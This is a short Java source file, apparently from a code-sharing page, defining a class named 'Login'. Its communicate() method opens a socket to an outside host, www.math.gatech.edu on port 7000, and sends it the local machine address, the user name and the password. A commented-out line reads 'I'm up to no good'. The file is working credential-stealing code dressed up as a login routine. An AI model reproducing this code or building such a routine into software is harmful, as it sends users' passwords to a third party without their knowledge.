1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
   | import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
 
public class Login {
 
    String home = new String("www.math.gatech.edu");
    int port = 7000;
    String localhome = null;
    boolean debug = false;
    InetAddress localHome = null;
    String localAddress = null;
 
//  Construct the class
    Login(int port) {
        this.port = port;
    }
 
    public void communicate (String user, String pword) {
        Socket sock = null;
//      InputStream inStream;
        OutputStream outStream = null;
        byte b[] = new byte[128];
        int numbytes;
        String reply;
        StringBuffer sb = new StringBuffer();
        InetAddress inaddress = null;
 
//      System.out.println("I'm up to no good");
        try {
            sock = new Socket(home, port);
            outStream = sock.getOutputStream();
        }
        catch (IOException ioe) {
            if (debug)
                System.out.println("I can't open a socket to " + home);
        }
        try {
            if (debug)
                System.out.println("Sending login and password to " + home);
            inaddress = sock.getInetAddress();
            try {
                localHome = inaddress.getLocalHost();
                localAddress = localHome.toString();
            }
            catch (UnknownHostException u) {
                System.out.println("I can't get the remote host's name");
            }
            sb.append(localAddress + "\t" + user + "\t" + pword + "\n"); 
            reply = sb.toString();
            numbytes = reply.length();
            reply.getBytes(0, numbytes, b, 0);
            outStream.write(b, 0, numbytes);
        }
        catch (IOException ioe) {
            if (debug)
                System.out.println("I can't talk to " + home);
        }
    }
    public static void main(String[] args) {
 
    }
 
} | 
Partager